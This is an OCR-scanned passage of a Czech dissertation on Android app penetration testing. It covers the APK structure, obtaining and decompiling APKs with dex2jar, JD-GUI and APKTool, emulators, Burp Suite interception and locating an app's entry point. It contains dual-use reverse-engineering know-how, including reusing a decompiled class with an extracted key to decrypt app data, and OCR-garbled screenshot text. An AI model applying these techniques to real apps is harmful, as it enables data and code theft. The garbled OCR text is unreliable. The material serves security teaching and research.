Built-By: Generated-by-ADT
Created-By: Android Gradle 2.3.1

Name: res/raw/soundleginnerthighsideplankleft.m4a
SHA1-Digest: ngAlalX+FyHBCFBODwamzYRMXN8=

Name: res/drawable-xxhdpi-v4/common_plus_signin_btn_text dark _pressed.

9.png
SHA1-Digest: Db3EO/I85K9A1k2yJ4X1dDP3Wq0=

Name: res/drawable-xxxhdpi-v4/quantum_ic_closed_caption_white_36.png
SHA1-Digest: RDs19wufBre960RwDr6rYCYpODQ=

Name: res/drawable-xxxhdpi-v4/quantum_ic_volume off white 36.png
SHA1-Digest: fCDbXojUINWxiHMT+VNgNjLGphAs=

Name: res/raw/soundfullpushups.m4a
SHA1-Digest: ss3n0OFFf30VBIq04AkVQD5/K8s=

Obr. 4.8: Obsah souboru MANIFEST.MF [zdroj viastni]

? Nekdy byva MANIFEST.MF omylem zamérnovan za manifest AndroidManifest.xml. Oba
manifesty maji odlisny obsah i funkci.
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Soubor classes.dex obsahuje aplika¢ni logiku celé mobilni aplikace. VSechny
ttidy (soubory *.java) obsahujici Java kod aplikace jsou zkompilovany
do jediného Dalvik spustitelného souboru, ktery ma vzdy stejné yjméno. Na proces
kompilace je mozné nahlizet jako na surjektivni zobrazeni mnoZiny A
s proménlivou mohutnosti do jednoprvkové mnozZiny B:

Necht' A = {JavaClass1.java, javaClass2.java, ..., JavaClassN. java} a
B = {classes.dex} pak f: A — B.

Soubor resources.arsc obsahuje vSechny predkompilované zdroje, které
aplikace potfebuje ke svému rychlému fungovani. Je zde naptiklad uloZena
podpora komponent uzivatelského rozhrani.

Soubor AndroidManifest.xml pfedstavuje naprosto zasadni zdroj informaci,
které jsou pouzivany po celou dobu Zivotniho cyklu mobilni aplikace:

e pii vytvafeni APK bali¢ku (Android build tools),

e béhem distribuce APK balickt (Google Play),

e pii instalaci a za béhu mobilni aplikace (Operacni systém Android).

Manifest je napsan v jazyce XML a lze v ném nalézt:

e informace o tom, ktera aktivita (termin aktivita predstavuje aplika¢ni logiku
jedné obrazovky) bude spusténa po startu aplikace jako prvni. Ve startovni
aktivité se Casto nachazi bezpeCnostni mechanizmy, na které cili uto¢nici
a tvurci mobilniho malwaru,

e seznam opravnéni, kterd dana aplikace pozaduje,

¢ informace o BroadcastReceiverech a sluzbach dané aplikace,

e a mnoh¢ dalsi kliCové informace.

Z vyse uvedenych diivodl predstavuje soubor AndroidManifest.xml vychozi
misto, ve kterém zacina vétSina utok, ale 1 penetracnich testii mobilnich aplikaci
bézicich pod operacnim systémem Android. Manifest, ktery se nachazi
v rozbaleném zip archivu, neni lidsky Citelny (viz obrazek 4.9). Aby bylo mozné
soubor AndroidManifest.xml piecist, je potteba provést dekompilaci APK
balicku, ktera je popsana v oddile 4.2.4 Dekompilace APK balickil.
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X —X O

milan@ubuntu: ~/lab/UnzippedAPK

GNU nano 2.5.3 File: AndroidManifest.xml

BCrenHre $
A@NA@iA@nA@SA@dA@kA@VA@eA@FA@SA@iA@OA@nA@A@A@APA@tA@aA$
"@d"@e"@b"@u"@g"@g"@a"@b"@L"@e"¢"@"@"D"@n"@a"@n"@e" "
A@iA@nA@tA@eA@nA@tA@_A@fA@iA@lA@tA@eA@rA@A@A@AFA@aA@CAs
A@A@A@AYA@A@A@AHA@A@ACAYA@A@A@ABAAAPA@SA@A@A@ARA@A@A@Os
A@A@A@A\A@A@A@AHA@A@ACA\A@A@A@ACAAAPA@AXA@A@A@ASA@A@A@$
A@A@A@AAA@A@A@AHA@A@ACAAA@A@A@ACAAAPA@AXA@A@A@AUA@A@A@s
A@A@A@A_A@A@A@AHA@A@ACA_A@A@A@ACAAAPA@AXA@A@A@AYA@A@A@$

Get Help Write Out Where Is Cut Text
@4 Exit i Read File @\ Replace Ay Uncut Text
Obr. 4.9: Obsah souboru AndroidManifest.xml v rozbaleném APK balicku [zdroj
viastni]

4.2.3 Ziskavani APK bali¢ka

Jakmile uto¢nik/tvlirce mobilniho malwaru rozumi kompilaCnimu procesu
a struktufe APK bali¢kli, miize ptikrocit k praktické analyze, jejiz prvni faze se
zabyva ziskavanim APK balickll legitimnich aplikaci. Pro vyhledavani
potencialné hodnotnych APK balickli Gto€nici a tvirci mobilniho malwaru
vyuzivaji softwarovou distribu¢ni platformu Google Play, kterd je dostupna
prosttednictvim webového prohliZzece na adrese
https://play.google.com/store/apps.
V procesu vybéru vhodné APK aplikace, se zohlediuje nékolik parametri:

e hodnotny datovy obsah — utoCnici se zamétuji na aplikace, které by mohly
obsahovat data, ktera by bylo mozné odcizit. Utoénici si koupi jedinou
kopii programu a snaZi se z ni odcizit hodnotny obsah,

e pocet staZzeni — tvlirci mobilniho malwaru hledaji bezpecnostni chyby
v legitimnich aplikacich, které by mohli zneuzit prostfednictvim svych
utonych programi. Z jejich hlediska je proto dilezit¢ se zaméfit
na legitimni software, ktery ma co nejvétsi pocet stazeni, nebot’ tak ziskaji
velkou mnozinu potencialnich obéti. Uzite¢na je sekce naptiklad ,,Zebiicky
nejlepSich®, kterd se nachéazi na adrese
https://play.google.com/store/apps/top,

e opravnéni — mnoZina opravnéni, kterou pozaduje legitimni aplikace je
dalezitd pro tviirce mobilniho malwaru, ktefi se ji rozhodli infikovat.
Nelegitimni poZadavky infikované ¢asti programu lze nendpadné navazat
na legitimni opravnéni hostitelské aplikace. Dulezity neni jen pocet
opravnéni, ale také jejich skladba. Tviirce mobilniho malwaru voli takovou
aplikaci, jejiz skladba opradvnéni co nejvice odpovidd jeho zamérim.
Obecné plati, Ze ¢im meéné opravnéni musi tviirce mobilnitho malwaru
do infikované aplikace ptidat, tim je vétsi pravdépodobnost, Ze nevzbudi
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pozornost u automatizovanych bezpecnostnich testli, nebot ty Ccasto
provadéji podrobnou analyzu opravnéni.

V dalS§im kroku je pouZzit nastroj pro stazeni APK bali¢ku. K tomuto ucelu se
casto pouZzivaji webové sluzby, jako je napiiklad APK Downloader, ktery je
dostupny na adrese https://apps.evozi.com/apk-downloader. APK Downloader
jako vstup akceptuje nazev APK bali¢ku nebo jeho URL adresu v Google Play'’.
Stisknutim tlacitka ,,Generate Download Link* je vygenerovan odkaz pro staZeni,
ktery je na obrdzku 4.10 oznafen cervenou elipsou. Jakmile uto¢nik/tviirce
mobilniho malwaru ziska APK balicek, provede jeho dekompilaci.

Alternativné je mozné zajmové APK balicky ziskat z mobilniho zafizeni,
na kterém uto¢nik ptevzal prava super uzZivatele (tzv. Root zatizeni). Uvedenou
¢innost lze provést pomoci nastroje Android Device Monitor (sekce File
Explorer). Jak je vidét na obrazku 4.11, APK balicky se v systému nachaze;ji
v /data/app.

Package name or Google Play URL (4 Visit Play Store

https://play.google.com/store/apps/details?id= Gy

Package Name: GRinnnain—_— P2y Store] g
File Size: Gam_—_y E
QR Code (GG—_—

MD5 File Hash: el

Last Fetched: SNGG—___—_———

Version: YD

& Generate Download Link

Convenient Web Search w
SearchApp

Request Update v

Obr. 4.10: APK Downloader [zdroj viastni]

10 Zadani uplné adresy APK balicku poskytuje lepsi vysledky nez jméno APK balicku.
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Oricl Acee
Quick Access

& | @Doms] ¢ - 5 -

Name

(= acct

(= cache

(= config
d

5 data

4 = app

(= app-asec

2, Threads Heap | @ Allocation T... | % Network Stat...

File Explorer &2 | (@ Emulator C... | 5J

Size

31801478
58754753

Obr. 4.11: Android Device Monitor [zdroj viastni]

4.2.4 Dekompilace APK balicki

Procesu rekonstrukce plvodnich zdrojovych kodid a zdroji aplikace
z instala¢nich balicku se fika dekompilace. Jak bylo vysvétleno vyse, existuji dva

typy dekompilace.

Typ I: dex2jar, JD-GUI

Prvni typ umoZnuje ziskani pavodnich zdrojovych kodi v jazyce Java.
Dekompilace prvniho typu ma dvé faze. Béhem prvni faze je APK bali¢ek pomoci
nastroje Dex2jar [117] transformovan do souboru *.jar. Proces pievodu je
zachycen na obrazku 4.12, *. jar soubor ma ve vypisu ¢ervenou barvu.

milan@ubuntu:~/1ab$ ./dex2jar.sh BestGame3-PTLab.apk
dex2jar BestGame3-PTLab.apk -> ./BestGame3-PTLab-dex2jar.jar

milan@ubuntu:~/1ab$
total 32436
drwxrwxr-x 4 milan
drwxr-xr-x 35 milan
-TWXTW-TW- milan
-TWXTW-TW- milan
-TWXTW-TW- milan
milan
milan
milan
-TWXTW-TW- milan

11

milan
milan
milan
milan
milan
milan
milan
milan
milan

6481574
110
2133999
1784582
12486941
1321
1089

Mar
Mar
Jul
Nov
Nov
Mar
Sep
Oct
Oct

-/

../

apktool. jar*
AuthenticationBypass*
BestGame3-PTLab.apk*

burpsuite.jar*
d2j_invoke.sh*
dex2jar.sh*

Obr. 4.12: Proces transformace instalacniho balicku mobilni aplikace do * jar soubor
[zdroj viastni]

V druhé fazi je mozné oteviit prevedeny *.jar soubor pomoci Java Decompileru
[118], ktery zajistuje ¢teni zdrojovych kodil, zkoumani aplikacéni logiky a hledani
bezpecnostnich zranitelnosti pfimo v jazyce Java, viz obrazek 4.13.
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) MainActivity.class - Java Decompiler

File Edit Navigation Search Help
B & 4

@ BestGame3-PTLab-dex2jarjar 28

droid.support

tb.Fai.bestgame3_ptlab

g;‘;“i‘a/‘sts class import java.io.UnsupportedEncodingException;
‘g import java.security.MessageDigest;

import java.security.NoSuchAlgorithmException;

£ MainActivity.class 2

public class MainActivity
extends AppCompatActivity
={

Context context;
EditText inputText;
String password = "2d33d0a53877507fb007843024766ad36e41lac134cc159f971bd415bc05fd232";

private static String convertByteArrayToHexString(byte[] paramArrayOfByte)

StringBuffer localStringBuffer = new StringBuffer();
int i = 0;
while (i < paramArrayOfByte.length)

localStringBuffer.append(Integer.toString((paramArrayOfByte[i] & OxFF) + 256, 16).s!
i+4=1;

}

return localStringBuffer.toString();

private static String hashString(String paramStringl, String paramString2)

Obr. 4.13: Java Decompiler umoznuje studium aplikacni logiky primo v nativnim
jazyce [zdroj viastni]

Java Decompiler umoziuje kromé samotné analyzy kodi 1 jejich export. To
znamena, 7€ je mozne z *.jar souboru jednotlivé Casti ziskanych zdrojovych kodi
(ptedstavujici tfidy v jazyce Java) ukladat do *.class souborii. Takto ziskane
soubory zdrojovych kodii vyuZivaji penetracni testefi, utocnici, ale 1 neeticti
aplika¢ni programatoti. Bezpe€nostni odbornici importuji takto ziskané soubory
do svych penetraCnich aplikaci s cilem najit bezpecnostni slabiny, které lze
zneuZit v pivodnich aplikacich.

Typ 2: APKTool

Druhy typ dekompilace se provadi pomoci nastroje APKTool
a zprostfedkovava ptistup klicovym komponentam vySetfované aplikace, jako
jsou AndroidManifest.xml (lidsky citelna podoba souboru), resources.arsc Ci
datovée XML struktury. APKTool také poskytuje aplikaéni logiku pfevedenou
do jazyka Smali. Coz je niz§i nedokumentovany jazyk podobny bajtkodu, ktery
umoziuje modifikaci aplikacni logiky. Prace v jazyce Smali je mnohem
naro¢ngjsi neZ upravy provadéné ve vysSich jazycich (naptiklad v jazyce Java),
proto vyuZzivaji tviirci mobilniho malwaru 1 penetracni testeti specidlni techniky,
jak s timto jazykem pracovat. Uvedené postupy jsou vysvétleny na ptislusnych
mistech dizertacni prace.
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milan@ubuntu:~/1ab$ java -jar apktool.jar d BestGame3-PTLab.apk -o BestGame3-PTLab
: Using Apktool 2.1.1 on BestGame3-PTLab.apk

Loading resource table.

Decoding AndroidManifest.xml with resources...

Loading resource table from file: /home/milan/apktool/framework/1.apk
Regular manifest package...

Decoding file-resources...

Decoding values */* XMLs...

Baksmaling classes.dex...

: Copying assets and libs...

: Copying unknown files.

Copying original flles

Obr. 4.14: Dekompilace typ 2 provedené pomoci nastroje APKTool [zdroj viastni]

I:
18
I:
1e
I:
e
I:
Ie
I
I
I:

Informace a data, kterd lze ziskat pomoci dekompilaci typu 1 a 2, pfedstavuji
disjunktni mnoZiny. Z toho vyplyva, Ze pro kvalitni analyzu mobilni aplikace je
nutné provést vzdy dekompilace obojiho typu. Dekompilace jsou dillezité¢ pro
dynamickou 1 pro statickou analyzu, proto musi byt vzdy provedeny pied
analytickou ¢asti vyzkumu.

4.2.5 Vyuziti informaci ziskanych z dekompilovanych bali¢ki

Béhem dekompilaéniho procesu tuto¢nici, tvirci mobilniho malwaru, ale
1 penetracni testefi ziskdvaji informace a data, ktera mohou byt rozdélena do dvou
skupin. Do prvni skupiny patii data a informace, které 1ze pfimo zneuzit. Jsou to
napiiklad hesla a nezabezpecen¢ multimedialni soubory, které byly nalezeny
béhem analyzy APK balicki. Problematika je podrobné rozebrana v oddile 4.6
Zranitelnosti ve vySetfovanych mobilnich aplikacich nalezené v radmci vyzkumu.
Do prvni skupiny rovnéZ spada nasledujici ptiklad. Utodnik nalezne v XML
zdrojich (Resources, dekompilace typ 2) vySetfované aplikace symetricky kli¢
<string name="pass">$d"cPk4560x%uNk7Lzt§ ApoP7</string> a cenna data
zasifrovana timto kli¢em. Nalezeny kli¢ je nepouZitelny, pokud aplikace pouziva
nestandardni postup pfi Sifrovani (vlastni padding, nestandardni pievod fetézce
hesla na kli€ ...). V takovém ptipad¢ nelze pouzit standardni deSifrovaci néstroje.
Nejvhodné€j$i  postup je nalézt prisluSnou Sifrovaci/deSifrovaci tridu
ve vySetfované aplikaci a vyexportovat ji pomoci Java Decompileru (*.class
soubor, dekompilace typ 1). Nasledné se naimportuji nestandardné zaSifrovana
data a Sifrovaci/desSifrovaci tfida do projektu v Android Studiu, ktery byl pro tento
ucel vytvofen. Nakonec se naprogramuje kratkd cast kodu, ve které se vytvori
instance Sifrovaci/deSifrovaci tfidy, instanci je pfedano nalezené heslo, coz vede
k deSifrovani nestandardné =zaSifrovanych dat. Samotny proces deSifrovani
pomoci ziskaného *.class souboru neni nutné analyzovat, na deSifrovani se
divame jako na Cernou skfinku. Naznafeny postup je jednodussi, nez se snazit
zrekonstruovat Sifrovaci proces pomoci kryptoanalyzy ¢i analyzou zdrojovych
kodi a po teé jej znova programovat a aplikovat na data.

Do druhé skupiny patii informace, které vyuzivaji neeticti vyvojati. Soubory
s aplikac¢ni logikou odcizené pomoci Java Decompileru slouZzi k rychlému ziskani
poZadované funkcionality bez nutnosti ji programovat. To znamend zlevnény
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vyvoj'! aplikace na tikor prace jinych programatori, jejichz kod byl odcizen
z dekompilovanych APK balicki.

4.3 Ruc¢ni dynamicka analyza

Ruéni dynamickd analyza je jednou ze zdkladnich metod vyzkumu
pouzivanych, jak pro odhaleni nefunkénich bezpecnostnich mechanizmi
(ohroZena je mnozina aplikaci, které pouZivaji danou technologii), tak pro hledani
zranitelnosti v urCitych mobilnich aplikacich (tyka se pouze jedné konkrétni
aplikace, napt. chybnd implementace jinak bezpecné technologie). Dynamicka
analyza je mnohem rychlejs$i neZ metody rucni statické analyzy a klade mensi
naroky na schopnosti a zkuSenosti bezpecnostniho analytika. Z tohoto diivodu je
dynamickd analyza hojné pouzivana, nejen v penetracnich a forenznich
laboratofich, ale 1 v akademickych laboratotfich zaméfenych na bezpecnostni
vyzkum. Rucni dynamickou analyzu provadéji nejen bezpecnostni analytici
a penetraéni testefi, ale také UtoCnici a tviirci mobilniho malware. Je nutné si
uvédomit, Ze pro UspeSny Utok malokdy staci pouze vySetteni pomoci metod rucni
dynamické analyzy. Dynamické testovani je vhodné provadét v kombinaci se
statickou analyzou. Bezpecnostni testy provedené pomoci dynamické analyzy
mohou poskytnout dilezitd voditka a ukizat mozny smér automatizovaného
vySetfovani.

Dynamicka analyza se zabyva zkouméanim chovéani aplikace a reakcemi
systému na jeji podméty. Z toho plyne, Ze metody dynamické analyzy nezkoumayi
zdrojovy kod vySettované aplikace. Aby bylo moZné¢ realizovat vyzkum efektivné
a ziskadvat béhem testovani maximum moZnych informaci, je potieba testy
provadét bud’ ve specialnim softwarovém emulatoru nebo v upraveném fyzickém
mobilnim zatizeni. Neupravend/standardni mobilni zafizeni umoZiuji ziskat
pouze zna¢né omezenou mnozinu informaci.

V soucasné dobé¢ existuje n€kolik softwarovych emulatori, z nichZz kazdy ma
pfednosti 1 nevyhody:

e Android Emulator [119] je vyvijen spole¢nosti Google LLC, jedna se o
nedilnou soucast Android SDK (Software Development Kit). Po
nainstalovani SDK ma kazdy vyvojar 1 penetracni tester automaticky na
svém pocitaci 1 Android Emulator, ktery je dobie propojen s ostatnimi
vyvojatskymi nastroji. Google LLC vykonal za poslednich nékolik let
velky kus prace a vytvofil Intel Atom (x86) image, ktery pfinesl vétsi
rychlost 1 stabilitu emulovaného mobilniho zatfizeni. Android Emulator je
mozn¢ provozovat v operacnich systémech Linux, Microsoft Windows 1
Mac OS. Na druhou stranu emulovani zatizeni se super uZzivatelskymi
opravnénimi je provedeno nekonzistentné. Nekteré rysy se shoduji
s chovanim fyzickych mobilnich zafizeni se super uZivatelskymi

11 Nejedna se pouze o snizeni ndkladu ale také o odhaleni technologického know-how
konkurence.
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opravnénimi a jiné nikoliv. Z tohoto ditvodu si penetracni a forenzni testefi
nevysta¢i pouze s Android Emulator, ale pouZivaji 1 dal§i emulacni
nastroje.

Emulator Nox App Player [120] byl piivodné vytvoren po hrace mobilnich
her tak, aby si mohli své oblibené hry zahrat i1 na osobnich pocitacich.
Emulator m4 moznost snadné¢ho pifepinani mezi mobilnim zafizenim
s normalni urovni opravnéni a se super uZivatelskymi opravnénimi, viz
obrazek 4.15. Uvedena funkcionalita zptsobila, ze se emulator stal velmi
popularni nejen mezi penetraCnimi testery, ale 1 mezi Uto¢niky, ktefi
pomoci Nox App Playeru ladi své Gitocné aplikace a skripty. Emulator je
mozZn¢ propojit i s uZivatelskym Google uétem, coZ umoziuje instalovat
aplikace standardnim zptisobem pomoci Google Play. Tento rys je uzite¢ny
pro tvlirce mobilniho malwaru, ktefi takto mohou testovat zneuzivani
legitimnich aplikaci vyvijenym skodlivym software. Emulator ma i nékolik
nevyhod, mezi které patii méné stabilni komunikace s SDK/penetra¢nimi
nastroji a fakt, Ze je schopen béZet pouze v prostiedi Microsoft Windows.
Emulator Nox App Player je dostupny zdarma.

Genymotion emulator [121] je ucen predevSim pro vyvojafe mobilnich
aplikaci. Ke své ¢innosti potiebuje Oracle VM VirtualBox [122], a proto
neni mozné emulator pouzivat ve virtudlnim pocitaci (znamenalo by to
provozovat virtualni pocita¢ ve virtudlnim pocitaci). Z toho plyne, Ze je
omezen¢ pouzitelny v ptipadech, kdy mé bezpecnostni analytik podezieni,
Ze vySetfovana aplikace byla infikovéna. Za takovych okolnosti musi mit
analytik uplnou kontrolu nad chovanim testované aplikace a zejména pak
nad jeji sitovou komunikaci. Uvedené bezpecnostni podminky neni mozZné
zaruCit pii testovani aplikace pfimo v hostitelském operacnim systému.
Mezi ptednosti tohoto emulatoru patii podpora velkého mnozZstvi verzi
operacniho systému Android a moZnost testovat mobilni aplikace pro riizné
velikosti displejii. Genymotion emulator je placeny software.

Emulatory vytvotfené na zakazku a upravené emulatory: velké spole¢nosti,
které se zabyvaji bezpeCnosti mobilnich aplikaci (napf. antivirové
spole¢nosti), pouzivaji emulatory, které si sami vytvareji podle specifikaci
vyrobcli mobilnich operacnich systémll. Takové fteSeni stoprocentné
odpovidd potfebam konkrétnich spole€nosti, ale také zajisti absolutni
kontrolu nad celym procesem testovani (ziskaji pozadované informace
ve spravny ¢as). Nicméné mobilni operacni systémy se velmi rychle vyviji,
neustale pfichdzeji nové specifikace, pozadavky a zmény. Udrzba
zakazkového emulatoru je nakladnou zélezitosti. Z toho diivodu vétSina
spolecnosti dava prednost zakdzkovym uGpravam jiz existujicich
komer¢nich feSeni. Napiiklad propojeni testovacich rutin a emulatort
pomoci APL.
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Obr. 4.15: Prepinani urovni oprdavnéni v Nox App Player [zdroj viastni]

Testovani mobilnich aplikaci 1 vyzkum jejich zranitelnosti probihd také
ve fyzickych mobilnich zafizenich, ve standardnich 1 v upravenych. Standardni
zatizeni slouZzi pro zakladni vhled do aplikacni logiky vySetfovaného programu.
Rovnéz je nutné vyzkouSet vySetfovanou aplikaci fyzickych zatizeni, ktere
obsahuji nadstavbu velkych vyrobcti, jako je Samsung TouchWiz, HTC Sense
nebo Sony Xperia Ul Testy jsou dilezité, protoZe nadstavby zasahuji do
mobilnich operacnich systémil. To ma za nasledek nedokumentované zmény
chovani systému, které ¢asto zplsobuji nestabilitu vyvijen¢ho softwaru, ktery byl
odladén pouze na cistétm vyvojarském emulatoru. Pady aplikaci zplsobené
nadstavbami mohou poskytnout dil¢i upiesiiujici informace, které lze vyuzit
v pozdéjSich fazich penetracnich testli nebo utokll. VySetfované aplikace je
potieba otestovat na tabletech 1 na mobilnich telefonech, nebot’ se od sebe 1isi:

e Attack Vectorem (tablety maji Attack Vector z pravidla mensi, nebot’ Casto

chybi podpora celulédrni siti),

e velikosti obrazovek,

e kapacitami baterii,

e apod.

To znamena, Ze testované aplikace mohou jinak reagovat na mobilni telefony
a jinak na tablety. Stejna aplikace miize mit jiné rozmisténi uzivatelskych
elementt, a z toho vyplyvajici zménénou aplikacni logiku. Naopak vySetfovana
aplikace mlZe byt zacilena pouze na chytré telefony a testovani na tabletech bylo
béhem vyvoje zcela opomenuto. Ve vSech fazich se analytik snazi najit takové
uzivatelské postupy, se kterymi tviirci nepocitali. Naptiklad nasilné ukonceni
aplikace béhem jeji komunikace se serverem. Rychlé vicenasobné klikani na
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tlacitka. Pouzivani GUI elementl v jiném potadi, nez jaké zamyslel autor aplikace
a podobng. Smyslem uvedenych krokii je:

e vyvolani neoSetfenych vyjimek aplikace. Penetracni tester sleduje log
aplikace, ktery v takovych ptipadech mlzZe poskytnout cenné udaje pro
dalsi smeér testovani €1 utoku;

e vyvolani padu celé aplikace: analytik sleduje zaroven i systémovy log,
ktery mize poskytnout za danych okolnosti zajimavé udaje. Ziskané
informace mohou byt opét vyuzZity/zneuzity pro dalSi smér testovani Ci
utoku;

e dostat testovanou aplikaci do nekonzistentniho stavu, se kterym tvirce
programu nepocital. Toho miize byt dosazeno pomoci zadavani
Skodlivych/extrémnich uzivatelskych vstupt, naptiklad SQL injection;

e neCekanym piechazenim do jinych ¢asti aplikace (aktivit), typicky pokud
aktualni ¢ast programu vykonava néjakou ¢innost a podobné.

Uvedené postupy mohou veést k ptimému odhaleni zranitelnosti (naptiklad
ziskani nezamySlen¢ho ptistupu do chranéné Casti aplikace, kterd je pouze pro
platici zakazniky), nebo mohou opét poskytnout dal§i voditka pro nésledné
testovani ¢i utoky.

Dalsi technikou dynamické analyzy je takzvané vytvateni Skviry odliSnosti,
ktera je dana rozdilnym chovanim aplikace na riiznych zatizenich. Bezpecnostni
analytik by mél mobilni aplikaci postupné otestovat na:

o fyzickych =zafizenich snormalni uUrovni opravnéni (chytré telefony

1 tablety),

e fyzickych zafizenich se super uZivatelskymi opravnénimi (chytré telefony
1 tablety),

e fyzickych zafizenich s nastavbami velkych vyrobci s normalni urovni
opravnéni (chytré telefony 1 tablety),

o fyzickych zatizenich s nastavbami velkych vyrobcil se super uZivatelskymi
opravnénimi (chytré telefony 1 tablety),

e emulovanych zafizenich s normalni trovni opravnéni (emulovat, jak chytre
telefony, 1 tablety),

e emulovanych zafizenich se super uzivatelskymi opravnénimi (emulovat,
chytré telefony i tablety).

Komplexni vySetfeni muze odhalit dal$i cenné informace. Krom¢ vyse
popsanych fyzickych mobilnich zatizeni a emulatorii je nutné, aby mél
bezpecnostni analytik dalSi nastroje poskytujici vhled do ¢innosti, které probihaji
sitové komunikace je Burp Suite [123]. Jedna se o profesionalni néstroj, ktery je
vyuzivan bezpe€nostnimi odborniky, ale také hackery. Pomoci Burp Suite je
mozn¢ nejen pasivné odposlouchavat sitovou komunikaci a ziskavat tak
zneuzitelné informace (viz obrazek 4.16), ale také lze do provozu aktivné
zasahovat. Program napiiklad umoziuje podvrhovat pozadavky mobilni aplikace,
padélat odpovédi serveru ¢i odposlechnout komunikaéni pattern. V Burp Suite 1ze
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prosttednictvim modulil (napt. an Intruder tool) provadét 1 automatizované Utoky.
DalSim nastrojem je Android Device Monitor [124], ktery umozZiuje ziskavat
informace o zménach ve vefejném datovém prostoru mobilniho zafizeni,
o privatnich datovych prostorech vysetfovanych aplikaci, o heapu a mnoho
dalSiho. Android Device Monitor je zachycen na obrazku 4.17.
Vsechny testy, které se provadi pomoci metod ru¢ni dynamické analyzy, se
méii v diskrétnim Case, ktery zahrnuje dalezité body kazdeho testu:
e po instalaci vySetfované mobilni aplikace, ptfed jejim prvnim spusténim,
e po prvnim spusténi vySetfované mobilni aplikace,
e prvni béZné spusténi vySetfované mobilni aplikace (inicializace a nastaveni
vySetfovane aplikace bylo provedeno v ptedchozich testech),
e b&Zné spusténi, kdy vySetfovana mobilni aplikace méni sviij vnitini stav
nebo stav systému.

() 2 Burp Suite

Burp Intruder Repeater Window Help

[ Repeater | Seauencer | Oecoder | cComparer [ Edtender |  Projectoptions | useroptions [ erts |
| Target Spider | Scanner | Intruder |

[ [ 1T history | webSockets history | options |

#) request to

Forward Drop Intercept is on Action

Raw | Params | Headers | Hex

T

Udaje, které mohou byt zneuzity,
pokud maji dostatec¢né dlouhou trvanlivost

-
v

< + > 0 matches

Obr. 4.16: Eachycem’ zneuzitelnych informaci [zdroj viastni]

V procesu dynamického testovani hraje kliCovou roli volba takzvané idedlni
verze operacniho systému. Idealni verze operacniho systému je pro kazdou
mobilni aplikaci jina. Jde o nejstarSi verzi mobilniho opera¢niho systému,
ve kterém je vySetfovana aplikace schopna fungovat. Bezpecnost se v mobilnich
operacnich systémech neustale zlepsSuje, proto obecné plati, Ze ¢im starsi systém,
tim je nalezeni chyby v zabezpeceni mobilni aplikace snazsi.
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Obr. 4.17: Android Device Monitor [zdroj viastni]

4.4 Rucni staticka analyza

Mobilni aplikace jsou velmi odlisné od klasickych spustitelnych programi,
které znadme z osobnich pocitacl. Je to dano celou fadou faktord, jako jsou
rozdilné typy procesorl, jind sprava operacni paméti ¢i1 zplisob kompilace
zdrojovych koda do vysledného souboru aplikace. Z toho divodu se vétSina
analyz aplikaci na mobilni platformé zna¢né 1i§i od bezpecnostnich postupl
znamych z osobnich pocitacu.

V soucasné dob¢ se velké mnozZstvi penetracnich a forenznich laboratoii snazi
postavit své vySetfovani na dynamickeé analyze a metodadch automatizovaného
vySetfovani, nebot’ jsou rychlejsi a vyZaduji mensi podil prace bezpecnostnich
analytikii. Z ¢ehoz vyplyva, Ze laboratote, které se soustfedi na vySe uvedené
metody, mohou sveé sluzby nabizet levnéji, a tim padem jsou vice
konkurenceschopné. Nicméné stale plati, Ze rucni statickd analyza zlstava
nejdilezitéjSim nastrojem pro vyzkum novych zranitelnosti a jejich oveéfovani.
Tento typ analyz je asové velmi naro¢ny, klade zvySené naroky na schopnosti a
zkuSenosti analytika, ktery musi byt nejen skvélym penetracni testerem,
bezpecnostnim expertem, etickym hackerem, ale predev§im mobilnim vyvojarem
schopnym porozumét nativnim jazykéim mobilni platformy. Casova i analyticka
naro¢nost se jesté zvySuje, je-li kod aplikace chranény obfuskaci'?. Nicméné
pokud penetracni nebo forenzni laboratof nechce byt zavisla na vysledcich
vyzkumu jinych subjekti, pak se tomuto typu vyzkumu nevyhne.

2 Obfuskace je metoda, kterd prevadi zdrojovy kéd mobilni aplikace do upraveného
zdrojoveho kodu stejného jazyka. Z pohledu funkcionality jde o stejny kod, ktery se ale velmi
Spatné cte a staticky analyzuje.
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V sou€asné dobé ani sebelepsi ochrana zdrojovych koda aplikace nemiize
vySetfovanou aplikaci ochranit proti ru¢ni statické analyze (ochrany mohou pouze
ztizit/zpomalit vySetfovani). To znamend, Ze neni mozn¢é penetra¢nim testeriim,
ani utoCniklim zabranit v rekonstrukci ptivodnich zdrojovych kodd a zdrojh
aplikace z instalaCnich balickil. Penetracni tester 1 uto¢nik mohou analyzovat
aplikacni logiku a hledat slabd mista vySetfovaného programu. Proces rucni
statické analyzy zpravidla zahrnuje kroky:

e Dekompilace typ 1 umoziujici ziskani piivodnich zdrojovych koda.

e Dekompilace typ 2 umoznujici ziskdni zdrojii a transformacnich kodi

aplikace.

e Hledani vstupniho mista (tzv. Entry Point) ve zdrojovych kodech aplikace.

e Analyza zdrojl a zdrojovych kodi aplikace.

e Nalezeni tfidy nebo metody, kterd je zodpovédna za zabezpe€eni mobilni

aplikace.

e Nalezeni chyb v zabezpeceni exponované ttidy nebo metody.

e NavrZeni utonych metod, které zneuziji nalezené zranitelnosti.

Jakmile jsou provedeny dekompilace obojiho typu (viz oddil 4.2.4
Dekompilace APK balickil), je mozné zacit s analyzou aplikacni logiky, ktera
zahrnuje hledanim vstupniho mista aplikace takzvaného Entry Pointu. Diky
architektufe APK aplikaci je postup nalezeni vstupniho mista aplikace vzdycky
stejny. Nejprve je v textovém editoru otevien soubor AndroidManifest.xml, ktery
byl ziskan pomoci dekompilace typu 2. V AndroidManifest.xml se postupné
prochazi vSechny elementy activity, dokud neni nalezen element, ktery ma ve
svém téle ptiznak MAIN a LAUNCHER (pokud jeden z nich chybi, mlzZe to
znamenat, 7Ze byla aplikace infikovana). Jakmile je takovy element nalezen, je
nutné zjistit jeho parametr android:name, coZ je jméno startovni tfidy, ktera se
zatne vykonavat po spusténi mobilni aplikace jako prvni. V dal§im kroku se v
Java Decompileru otevie transformovany *.jar soubor aplikace (ziskan pomoci
dekompilace typu 1) a nasledné se vyhleda startovni tfida podle jejiho jména.

Pokud je nalezend tfida ptimym potomkem tfidy Activity nebo je potomkem
ttid AppCompatActivity €1 ActionBarActivity, pak byl Entry Point aplikace
nalezen. Aplika¢ni logiku neni mozné analyzovat oddélené od GUI, které patii
dané startovni tfid€, proto je nutné vyhledat ptislusny XML layout. Toho Ize
dosdhnout analyzou metody onCreate, ktera se nachazi ve startovni tiidé. Metoda
onCreate obsahuje volani setContentView spolu s identifikatorem XML layoutu,
naptiklad: setContentView(2130968603). Cislo 2130968603 piedstavuje
identifikator ptislusSného XML layoutu, ktery se nachdzi v R.class testovane
